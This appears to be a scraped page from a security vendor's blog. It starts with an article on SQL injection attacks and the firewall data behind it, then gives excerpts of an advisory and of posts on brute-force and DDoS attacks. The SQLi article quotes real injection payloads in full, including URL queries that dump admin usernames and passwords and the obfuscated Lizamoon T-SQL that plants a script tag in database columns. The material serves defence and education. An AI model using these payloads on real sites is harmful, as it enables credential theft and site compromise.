Website Attacks – SQL Injection And The Threat They Present

We are starting a new series of articles where we will talk about different active website attacks we are seeing.

The first one we will cover is known as a SQL Injection (SQLi). Some might know what a SQL Injection (SQLi) attack looks like, but assuming you don’t, it’s an attack that leverages an injection technique to manipulate and / or further exploit your SQL based database. It does this by passing queries and commands to your database, often via input forms on your website. The Open Web Application Security Project (OWASP) defines an SQLi attack as:

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. – OWASP

An example of what an attack may look like can be seen in the following query:

SELECT subject from posts WHERE subject LIKE '%$subject%';

If the $subject variable can be manipulated by a bad actor. Manipulation can include modification of data, display or listing of data and possibly even insertion of new data. In some special cases, it can also be used to execute shell commands and / or dump passwords (tip: MySQL Load_file function). To give a extreme example, this is the screenshot from one or our researchers doing a penetration test against a vulnerable application:

Sucuri - SQL Injection Example - Load File Abuse

Sucuri – SQL Injection Example – Load File Abuse

Our researcher was able to use load_file() to dump the password list from the server.

What we’ve provided here is a very watered down summary of what SQLi is and what it’s important to you, if you are a developer or enduser we recommend you invest more time understand this attack vector and its implications to your website. A good resource is the OWASP – Testing for SQL Injection page.

SQL Injection Attacks

We are currently seeing more than 50,000 attacks per day that fall into our SQL Injection categorization. Most of them are automated and try to compromise well known vulnerabilities in common CMS’s and web projects (Joomla, WordPress, vBulletin, etc).

This is the attack fluctuation for SQLi attacks, month over month:

Sucuri - Month over Month Distribution of SQLi Attacks

Sucuri – Month over Month Distribution of SQLi Attacks

The number of attacks we are detecting is growing each month, this is to be expected though as our Website Firewall product continues to grow. Overall though, the number of SQL injection attempts continue to grow.

If we drill down into our data and hook it up to a geo locator we can also see that the attacks come from everywhere. Most people tend to think that Russia, Brazil, Romania and a few other countries are the “bad” sources, but for SQL injection, the top attackers come from the USA, India, Indonesia and China:

sql-injection-map

So unless you only service one specific country and don’t care about the rest of the world, Geo blocking is not a good protection against automated SQL injections. What we found interesting is that most bots still like to fake themselves as either Google, MSIE 6 or set no user agent at all:

16%- MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
13%- Googlebot/2.1; +http://www.google.com/bot.html)
11%- No user agent

Just by blocking these anomalous requests, you can get ride of 1/3 of all automated injection attempts.

Attack Types

The attacks really vary from each other, but we feel most can be classified into two categories:

1- Data Exfiltration

Data exfiltration via SQL Injection is what has contributed to some of the largest data breaches to date. The attackers find a vulnerability
that allows them to list all tables and dump all user accounts, emails and passwords.

Here is an example of what we consider data exfiltration, this is an active attack via our network:

/NewsType.asp?SmallClass='%20
union%20select%200,username%2BCHR(124)
%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin
%20union%20select%20*%20from%20news%20where%201=2%20and%20''='

You can see the smallclass variable was not being properly filtered, instead of accepting the Class ID, it allowed the attackers to run a query to the database to list all username and passwords from the admin table.

Had the user not been leveraging a Website Firewall, the attacker would have had his information compromised. This is a very good example of this classification, it demonstrates well what the attack looks like.

This is another example:

/index.php?view=article&id=422:undef&catid=170:2014-service-providers&Itemid=713&option=com_content'%20%20and(select%201%20from(select%20count(*),
concat((select%20(select%20(select%20concat(0x53,0x65,0x61,0x72,0x63,0x68,0x43,0x6F,
0x6C,0x6C,0x65,0x63,0x74,0x6F,0x72)%20from%20%60information_schema%60.tables%20limit%200,1))
%20from%20%60information_schema%60.tables%20limit%200,1),floor(rand(0)*2))x%20
from%20%60information_schema%60.tables%20group%20by%20x)a)%20and%207=7%20%20and%20''='

This code is a bit more complex, it tries to do the same form of exfiltration.

Another one we are seeing very often is against Joomla’s com_kunena module, attempting to exploit the latest disclosed vulnerability:

/index.php?option=com_kunena&func=
userlist&search=%25'/**//*!aNd*//**/1=2)/**//*!uNioN*//**//*!SeLecT*//**/1,/*!
concat(0x3b3b3b,username,0x3e3e3e,password,0x7c7c7
c,usertype)*/,/*!concat(0x3b3b3b,username,0x3e3e3e,password,0x7c7c7c,usertype)
*/,4,5,6,7,8,9,10,11,12,13,14,15/**//*!fRoM*//**/j
os_users/**//*!WheRe*//**/usertype=0x53757065722041646d696e6973747261746f72/**/
/*!oR*/usertype=0x41646d696e6973747261746f72%20--
%20;

2- Code Injection

We don’t see these very often, they often rely on some initial vulnerability pre-tests that we block automatically via our Website Firewall making it that much harder to record and attempt. A good example of malicious code injection happened with the old Robint/Lizamoon type of attacks against IIS web sites.

It was running this code:

0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696
E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ”%robint%”’) fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;–

Which would force the injection of JavaScript into some vulnerable websites database tables.

Conclusion

SQL Injections are a real threat, they are being actively attacked and exploited every day. If you are a developer you should be leveraging the OWASP SQL Injection Prevention Cheat Sheet at a minimum. In it you will find recommendations categorized into two groups Primary and Additional Defenses.

Primary Defenses:

Option #1: Use of Prepared Statements (Parameterized Queries)
Option #2: Use of Stored Procedures
Option #3: Escaping all User Supplied Input

Additional Defenses:

Also Enforce: Least Privilege
Also Perform: White List Input Validation


Now my question is to you, those reading this and interested in the data, what additional information would you like to see in our reports and posts? We’re always looking for feedback and insights to improve our content and contributions.

Security Advisory – Hikashop Extension for Joomla!

Advisory for: Hikashop for Joomla!
Security Risk: High (DREAD score : 7/10)
Vulnerability: Object Injection / Remote Code Execution
Updated Version: 2.3.2

In a routine audit of our Website Firewall we discovered a serious vulnerability within the Hikashop ecommerce product for Joomla! allowing remote code execution on the vulnerable website[s].

What are the risks?

This vulnerability affects Joomla! websites running Hikashop (< 2.3.2). It requires open account registration with email activation, this is the default configuration. In this particular case, a malicious user (actor) can remotely execute commands on the site (RCE), allowing them to do things like read any configuration file, modify files, and / or insert malware.

Because of the severity, you need to update your Hikashop installations as soon as possible. The Hikashop team released an update and provided more details on the issue here: Security Issue for HikaShop 2.3.2 and below and for HikaMarket 1.4.2 and 1.4.3

Technical details

The extension was using some code within the user activation part of the software that relied on the PHP’s unserialize() function to confirm user-provided information. The keyword to remember here is user-provided.

As a rule of thumb, it is wise to never send raw, user-provided data, to sensitive functions (especially to unserialize()). In this case, it lead to an Object Injection vulnerability.

An attacker could use this behavior to spawn any classes available in the application’s context, modifying any internal variable it might have in an attempt to modify the class destructor’s execution flow.

These type of attacks are highly dependent on the available classes to the attacker when unserialize() parses its payload. We naturally thought it might be a good idea to verify whether or not something bad could be done using Joomla! 3.* classes, and it turns out there is. Using this, we were able to turn the Object Injection issue into a Remote Code Execution vulnerability, allowing us to run commands on the remote site.

Because of the severity, we will not release any POC (proof of concept code) or provide more details until user have had more time to update. After 30 days, we will disclose all information.

Update Hikashop as soon as possible!

Please update Hikashop immediately! The developers did their part and released an update within hours of our disclosure. Now, it is time for you to do your part and update your sites.

Note that site running behind our Website Firewall were remotely patched using our Zero Day Immediate Response feature.

Understanding Denial of Service and Brute Force Attacks – WordPress, Joomla, Drupal, vBulletin

Many are likely getting emails with the following subject header Large Distributed Brute Force WordPress Attack Underway – 40,000 Attacks Per Minute. Just this week we put out a post titled More Than 162,000 WordPress Sites Used for Distributed Denial of Service Attack.

What’s the Big Deal?

Remember life before social media? How quiet and content we seemed to be? How the only place we got our information was from the local news or cable outlet? Maybe a phone call, or via email? Today however, we seem to be inundated with information, with raw unfiltered data, left to our thoughts and perceptions of what they really mean. Every day there is some new tragedy, a plane goes missing, a child is abducted, a school shooting, the brink of WWW III. Is it that we live in a time where we are all losing our mind? Or maybe, could it be that the only difference between now and then, is the insane amount of information at our finger tips?

With this in mind, yes, it’s true, there are ongoing Distributed Denial of Service (DDoS) and Brute Force attacks against WordPress sites. In fact it extends far beyond that specific platform, it’s affecting many other platforms like vBulletin, Joomla, Drupal. The reality is that these attacks have been ongoing for many months now, so much so, that they’ve become part of our daily life and it’s not when they happen that we’re surprised, quite the contrary, when they don’t.

Read More

Sucuri CloudProxy Website Firewall Improvements

If you are are a regular reader of our blog you probably know about our CloudProxy Website Firewall, it launched publicly a year ago. Since then, our team has been extremely focused on improving it, making it more effective and efficient for everyday website owners.

If you are not familiar with CloudProxy, I highly recommend reading some of the documentation and benefits of it:

In fact, if you have a website, why not try it out?

Read More

Layer 7 DDOS – Blocking HTTP Flood Attacks

There are many types of Distributed Denial of Service (DDOS) attacks that can affect and bring down a website, and they vary in complexity and size. The most well known attacks are the good old syn-flood, followed by the Layer 3/4 UDP and DNS amplification attacks.

Layer 7 DDOS

Today though, we’re going to spend a little time looking at Layer 7, or what we call an HTTP Flood Attack.

Read More

Google Bots Doing SQL Injection Attacks

One of the things we have to be very sensitive about when writing rules for our CloudProxy Website Firewall is to never block any major search engine bot (ie., Google, Bing, Yahoo, etc..).

To date, we’ve been pretty good about this, but every now and then you come across unique scenarios like the one in this post, that make you scratch your head and think, what if a legitimate search engine bot was being used to attack the site? Should we still allow the attack to go through?

This is exactly what happened a few days ago on a client site; we began blocking certain Google’s IP addresses requests because they were in fact SQL injection attacks. Yes, Google bots were actually attacking a website.

Read More

Sucuri CloudProxy WAF Plugin for WordPress

If you are using our CloudProxy WAF to protect your WordPress websites, we highly recommend that you also install our new CloudProxy plugin for WordPress. It has been public for a few weeks, and now we feel it is ready for production use, hence the announcement. :)

sucuri-cloudproxy-wordpress-waf-plugin

You can download the plugin from WordPress Plugin Directory, or directly in your WordPress wp-admin panel by searching for CloudProxy from the “Add New Plugin” page.

The Sucuri CloudProxy WAF plugin is free from the WordPress repository, and allows direct access to your CloudProxy dashboard from within your WordPress wp-admin panel. It allows you to see your audit logs and security events, clear caching, and overall easier management of your CloudProxy account without the need to login to Sucuri.net.


Note:The CloudProxy plugin doesn’t add any additional security measures beyond what’s offered in the CloudProxy service. The plugin is not required for CloudProxy use.

*ps: if you are not using CloudProxy, you should. Go check out CloudProxy today!

CloudProxy WAF – September Report

*By Tony Perez and Daniel Cid

As many of you are aware we released a website protection tool, CloudProxy WAF/IDS, at the beginning of the year and over the past few months we have been working with the data we’ve been accumulating. We’re finally at a place where we think we can provide better insight into the world of website attacks.

What we’re hoping to do is provide a monthly summary, similar to what you’ll read here that helps you understand the various website attacks we see via our CloudProxy WAF/IDS. It will also, hopefully, shed insight into the growing online threats that website owners face daily.

September 2013

We have some very small and some big sites with us. And the first thing we noticed is that even the smaller sites get attacked quite often. All sites do.

Every web site gets attacked. And that happens daily. Many times per day.


Read More

Sucuri CloudProxy Web Application Firewall (WAF) – Out of Beta

We are happy to announce that after more than a year in testing, Sucuri’s CloudProxy is out of beta.

CloudProxy

CloudProxy is currently available to Sucuri customers, so if you have an account with us, you can subscribe to CloudProxy from your dashboard.

Here is a quick testimonial:

I inherited a couple of websites that were hand coded and getting hacked on a daily bases. Hooked them up to CloudProxy last week and so far the sites have been protected and are not being hacked anymore. At this point, I’d highly recommend this service if you are running an out of date CMS or code and are getting hacked often! Great service!

Linda Kimble Long


Read More

Dissecting a WordPress Brute Force Attack

Update: Brute force protection now available: http://cloudproxy.sucuri.net/brute-force-protection


Over the past few months there has been a lot of discussion about WordPress Brute Force attacks. With that discussion has come a lot of speculation as well. What are they doing? Is it a giant WordPress botnet? Is it going to destroy the internet? Well, as you would expect of any good geeks we set out to find a way to find out.

This is not to be exhaustive case study or meant to be a representative sample of what all attacks look like, but it does have similar characteristics to the types of attacks and infections we deal with on a daily basis.

In this post, my goal is to highlight a hack that occurred this weekend, July 20th to be exact, against one of our several honeypots. In this specific instance, it was setup and configured approximately 2 months ago. It had been hacked about a month and a half ago and silly me I forgot to configure what I needed to do real forensics, oops. In any event, everything was cleared and pushed out again to see what happened, it was nothing more than a matter of sitting back and waiting.

Sure enough, about 30 days later and it was hacked, this time we were ready to see what happened..

Read More